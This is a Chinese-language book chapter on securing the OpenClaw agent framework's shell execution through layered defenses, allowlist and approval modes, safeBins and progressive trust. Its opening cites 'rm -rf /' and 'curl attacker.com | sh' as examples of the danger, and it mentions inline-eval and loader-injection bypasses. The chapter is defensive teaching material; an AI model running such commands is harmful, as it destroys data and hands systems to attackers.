第七章 安全沙箱——护栏不是枷锁
核心问题:一个能执行任意 Shell 命令的 Agent,如何在拥有足够能力的同时,不把你的系统搞垮?
Agent 一旦拿到 exec 工具,而且运行又落在 gateway / node host 上,它的能力边界就会迅速逼近那台机器的边界。
一条 rm -rf /,磁盘清空。一句 curl attacker.com | sh,系统被接管。这不是夸张,而是"能执行 Shell 命令"这句话的字面含义。
那封死执行能力呢?一个只会读取和输出文本的 Agent,能帮你做什么?替你在 WhatsApp 里聊天?大部分有价值的任务——自动化、系统管理、代码处理——都需要真正动手的能力。封死执行,Agent 就成了一个博学但无用的空架子。
两条极端之路都走不通。OpenClaw 选择的是中间道路:给能力加护栏,而不是裁剪能力本身。
一、能力越大,风险越大
这不是一个可以规避的矛盾,而是能力的基本属性。
能做有价值的事的 Agent,天然具备做有害的事的能力。你不能要一个"能帮你删除临时文件但不能删除重要文件"的 exec 工具——命令本身不区分文件的重要性,只有拥有判断力的机制才能做这件事。
| 极端路线 | 能力 | 安全 | 结果 |
|---|---|---|---|
| 完全开放 | 满分 | 零分 | Agent 可以干成很多事,也可能酿成大祸 |
| 完全封锁 | 零分 | 满分 | 安全但无用,失去委托的意义 |
| 有护栏的开放 | 高分 | 高分 | 这才是设计问题,而非取舍问题 |
问题不是"要不要开放执行能力",而是"如何有边界地开放"。
二、护栏不是枷锁:安全设计哲学
想象一辆好车。它不是开不快的车,而是配备了安全气囊、防抱死系统和主动安全辅助的车。
这些装置的意义不是让你开得更慢,而是让你更放心地发挥车的性能——在意外发生时有机制兜底。没有人会因为车里有安全气囊而觉得驾驶受到了限制。反过来,一辆拆除了所有安全装置的赛车,在赛道上或许能多跑几圈,但在真实世界中只是在制造风险。
OpenClaw 的安全设计遵循同样的逻辑:安全护栏是能力的伴侣,不是能力的对立面。
这个洞察在实践中意味着:安全配置做得好,Agent 可以更大胆地被委托复杂任务;做得差,即便能力强大,用户也只敢用它做最简单、最无害的事。
为什么单层防御不够? 如果只依赖一道防线,它就必须接近完美——任何漏洞都意味着完全失守。纵深防御(defense in depth)的逻辑是:不假设任何一层是完美的,而是假设每一层都可能失效,然后设计多层独立的防御,使失效不会级联。独立性是关键——同一机制重复两次不是纵深,不同层次的不同机制叠加才是。
三、三层纵深防御
更稳妥的理解不是“只盯住一层 Shell 审批”,而是把风险拆到三层互补机制里,底层再用本地权限和信任边界兜底:
┌─────────────────────────────────────────────────┐
│ 用户委托的任务 │
├─────────────────────────────────────────────────┤
│ 第一层:入口与会话隔离 │
│ · pairing / allowlists ── 谁能触发 Agent │
│ · dmScope / identityLinks ── 谁和谁共用上下文 │
├─────────────────────────────────────────────────┤
│ 第二层:工具与 exec 护栏 │
│ · tool policy ──── 哪些工具根本可见 │
│ · Security / Ask ─ host exec 的审批边界 │
│ · safeBins / strictInlineEval ─ 对窄口命令与解释器再收口 │
├────────────────────────────────────────────────┤
│ 第三层:Sandbox 与运行边界 │
│ · sandbox mode / scope ─ 工具是在 host 还是隔离环境里跑 │
│ · workspaceAccess ── 沙箱能看到多少工作区 │
│ · elevated ─────── 只在 break-glass 时临时越出沙箱 │
├────────────────────────────────────────────────┤
│ 操作系统层:本地权限与信任边界 │
│ · 锁紧 ~/.openclaw 权限,按信任边界拆 Gateway │
│ · 不把多名互不信任的操作者塞进同一个 Gateway │
└────────────────────────────────────────────────┘三层彼此独立,也彼此互补。入口限制解决“谁能触发”;工具与 exec 护栏解决“它能动哪些手”;sandbox 则解决“这些手到底伸到哪里”。突破一层不等于突破全部,这才是纵深防御的意义。
最底层还要靠本地权限和部署边界兜底。官方安全文档反复强调,OpenClaw 默认是假设“一个 Gateway 对应一个信任边界”的个人助理模型,而不是 hostile multi-tenant 总线。所以除了配置本身,~/.openclaw 的权限、日志和凭证管理,以及是否按操作者拆分 Gateway,本身就是最后一道防线。
四、命令执行沙箱:最关键的一层
命令执行沙箱通过三个维度的组合,精细控制 Agent 的执行行为。
Security 模式 × Ask 模式
Security 模式决定基本权限范围:deny(全部拒绝)适合纯文本或高敏感场景;allowlist(白名单)是更保守的日常基线;full(完全放开)只适用于你明确接受风险的受信任环境。
Ask 模式决定何时需要人工确认:always(每条都问)在初期观察 Agent 行为时最有价值;on-miss(白名单外才问)是日常使用的平衡点;off(从不询问)的实际效果完全取决于 Security 模式。
| always(每次确认) | on-miss(新命令确认) | off(不主动询问) | |
|---|---|---|---|
| deny | 每条命令先问后拒 | 静默拒绝一切 | 静默拒绝一切 |
| allowlist | 每条命令先问后执行 | 推荐:已知 allowlist 自动执行,新命令触发确认 | 白名单内执行,白名单外静默拒绝 |
| full | 每条命令先问后执行 | 所有命令自动执行 | 静默放行一切 |
为什么推荐把 host exec 主动收紧到 allowlist + on-miss? 这个组合的核心价值,是把“发现新命令”变成“建立信任”的过程。你不可能提前知道 Agent 完成某类任务会用到哪些命令,on-miss 则允许你先看清它到底要做什么,再决定是否把这条命令纳入可复用边界。
这里最好再把两个容易混的动作拆开:
- Allow once:只放行这一次,不会把命令永久写进 allowlist;
- Always allow / 显式 allowlist:才是在后续运行里持续生效的信任扩展。
这里一定要补一条容易踩坑的现实:这是一种更保守的起手式,不代表 host exec 的出厂默认值。 gateway / node 上的 exec 策略本身更宽,安全上应该由你主动收紧,而不是默认假设系统已经替你收紧好了。
safeBins:只读工具豁免
对于极窄的流数据处理工具,逐一审批会产生很多低价值确认。safeBins 的适用对象,应该是那些行为非常收敛、主要围绕标准输入输出做纯文本变换的命令,比如 head、tail、tr、wc 这类。
判断标准只有一条:行为是否足够确定、足够只读、足够局限? 任何能解释执行任意代码的工具,都不该轻易放进 safeBins。像 python3、node、bash 这种解释器必须走显式 allowlist;即便你显式允许了,也最好再配上 strictInlineEval,防止 python -c、node -e 这类内联求值直接绕过你的直觉边界。
环境变量与执行上下文防护
除了审批策略,exec 这一层还有一些更底层的防护。host exec 会拒绝 env.PATH 覆盖以及 LD_* / DYLD_* 这类典型 loader 注入项,避免通过运行环境去劫持实际执行的二进制或动态库。
这类防护的意义在于:即使你允许了某个命令,也不等于允许它带着任意注入过的运行环境一起执行。 但这里也不要产生错觉,真正更全面的硬化仍要靠 openclaw security audit、最小权限、sandbox 和更窄的 allowlist 配合,而不是指望某一个参数过滤就万无一失。
五、渐进式信任:从保守到放开
信任不是在开始时一次性给出的,而是随着观察积累而增长的。
阶段一:观察 阶段二:建立信任 阶段三:成熟运行
────────────────── ────────────────── ──────────────────
Security: allowlist Security: allowlist Security: allowlist
Ask: always Ask: on-miss Ask: on-miss / off
────────────────── ────────────────── ──────────────────
每条命令都需确认 已知命令自动执行 白名单覆盖典型操作
了解 Agent 行为边界 显式 allowlist 持续成熟 偶发新命令仍触发确认
建立行为直觉 每次确认扩展信任边界 边界情况最值得关注阶段一不是麻烦,而是投资——你在积累对 Agent 行为边界的直觉认知,回答"这个 Agent 在处理这类任务时究竟会用到哪些命令"。
阶段二是信任积累最集中的阶段。真正会长期生效的是你显式写入 allowlist 的那部分边界;而每次确认本身,更像是在训练你识别哪些动作值得长期放行。
阶段三不意味着"完全放手"。偶发的新命令仍会触发确认——这些边界情况往往意味着任务范围的扩展或意料之外的行为,恰恰是最值得关注的信号。
场景配置速查
| 使用场景 | Security | Ask | 说明 |
|---|---|---|---|
| 初次使用新类型任务 | allowlist | always | 完全观察模式,建立认知 |
| 日常开发工作 | allowlist | on-miss | 推荐默认配置 |
| 处理不可信外部内容 | allowlist | always | 提高监督密度 |
| 纯文本分析任务 | deny | off | 完全关闭执行能力 |
| 受信任的隔离开发环境 | full | off | 仅限完全可控场景 |
可逆性框架
操作的可逆程度,是比命令名称更可靠的信任判断依据:
| 可逆程度 | 典型操作 | 推荐策略 |
|---|---|---|
| 完全可逆 | 读取、分析、搜索 | Agent 自由执行,无需确认 |
| 部分可逆 | 创建文件、发送非关键消息 | 执行即可,保留完整日志 |
| 不可逆 | 删除文件、向外部发送数据 | 无论白名单如何,建议保留人工确认 |
小结
安全设计的核心不是让 Agent 做更少的事,而是让 Agent 做事时有清晰的边界和可靠的兜底。
| # | 核心洞察 |
|---|---|
| 1 | 中间道路:解决之道不是限制能力,而是给能力加护栏——安全气囊让你更放心地发挥性能,而不是让你开得更慢 |
| 2 | 纵深防御:入口限制、工具与 exec 护栏、sandbox 运行边界彼此补位,底层再靠本地权限和信任边界兜底;突破一层不等于突破全部 |
| 3 | 三维控制:Security 模式定权限范围,Ask 模式定确认时机,safeBins 只给极窄命令开口子;更稳的起手式通常是主动收紧到 allowlist + on-miss |
| 4 | 渐进式信任:从 always 观察起步,白名单随使用自然成熟,信任随观察积累而增长 |
| 5 | 可逆性框架:按操作的可逆程度校准信任边界,比按命令名称判断更可靠 |
至此,六大架构支柱全部走完。
回望这七章的路径:ReAct 引擎(第二章)定义了 Agent 思考与行动的基本循环;提示词灵魂(第三章)赋予了 Agent 持久的人格与价值取向;工具手脚(第四章)让 Agent 能够真正触碰和改变外部世界;消息心跳(第五章)建立了有序处理与主动响应的通信基础;统一网关(第六章)将 Agent 的能力延伸到多个平台和通道;安全沙箱(第七章)在能力的外围建立了坚实的防护边界。
六个支柱不是孤立的模块,而是相互咬合的整体。理解了每一层的设计逻辑,你再看 OpenClaw 的任何一个配置项,都不会只是"怎么用"的问题,而是"为什么这样设计"的清晰认知。
带着这幅完整的架构图,你已经准备好进入下一阶段。
→ 第八章 轻量化方案:当 OpenClaw 功能完整但体量偏重,社区里有哪些更轻的选择?